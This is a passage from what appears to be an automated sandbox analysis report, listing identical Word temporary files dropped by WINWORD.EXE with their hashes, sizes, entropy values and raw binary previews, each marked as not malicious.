SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Reputation:	low
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{17894DAF-AB40-4438-A9E8-77F28A9307AA}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Reputation:	low
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{199FE568-AD80-4129-A591-2656C8184D70}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Reputation:	low
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{19F45C83-5106-4894-9E6D-F074949167CD}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Reputation:	low
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2189C5A6-0E9C-48AD-89AA-CB98782ABFA3}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Reputation:	low
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2215CB90-B888-4F46-BDC9-F75986D1B4B3}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Reputation:	low
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{227AEB15-0F9D-4236-87E9-88D78FA8F7ED}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Reputation:	low
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{25657280-B461-4E67-A20E-5811CD04536E}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Reputation:	low
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{25C9ADFE-F72B-436E-9F19-48EEFCB750B9}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{268DDE2A-618E-4864-AC46-F64644974DB9}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{27842A7B-2704-491A-8F48-98CFCB3FD2AA}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{285E5A0F-5F08-4ED1-866D-3508985E6248}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{28F2C042-4991-46F7-A19A-705A7EA19183}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{30BD8BA8-0384-4C37-A69D-D1E05E3A2D59}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{3114FF8F-0A75-4EDE-BBDB-BDB5A160E666}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{33D0E2EF-C52E-4A23-A32A-7F4D3F910F2E}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
